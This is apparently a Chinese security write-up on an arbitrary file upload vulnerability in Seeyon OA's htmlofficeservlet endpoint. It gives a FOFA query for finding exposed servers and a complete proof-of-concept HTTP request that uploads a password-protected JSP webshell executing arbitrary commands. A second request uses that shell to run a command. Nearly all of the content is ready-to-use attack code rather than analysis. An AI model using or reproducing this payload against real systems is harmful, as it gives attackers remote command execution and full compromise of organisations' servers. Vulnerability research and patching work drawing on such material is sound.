致远OA htmlofficeservlet 任意文件上传

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致远OA htmlofficeservlet 任意文件上传

0x01 阅读须知

0x02 漏洞描述

致远OA办公自动化软件，用于OA办公自动化软件的开发销售。2010年，用友致远更名为致远协创。2017年更名为致远互联。北京致远互联软件股份有限公司（简称：致远互联）成立于2002年3月，总部设立在北京，是一家集协同办公产品的设计、研发、销售及服务为一体的企业。致远OA系统存在任意文件上传漏洞，攻击者通过漏洞可以上传木马文件，导致服务器失陷。

0x03 漏洞复现

fofa：app=”致远互联-OA”

1.执行POC，上传webshell

POST /seeyon/htmlofficeservlet HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Content-Length: 1118
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
DNT: 1
Upgrade-Insecure-Requests: 1

DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("calsee".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>>a6e4f045d4b8506bf492ada7e3390d7ce

2.访问webshell，执行dir命令，得到回显

GET /seeyon/testtesta.jsp?pwd=calsee&cmd=cmd+/c+dir HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
DNT: 1
Upgrade-Insecure-Requests: 1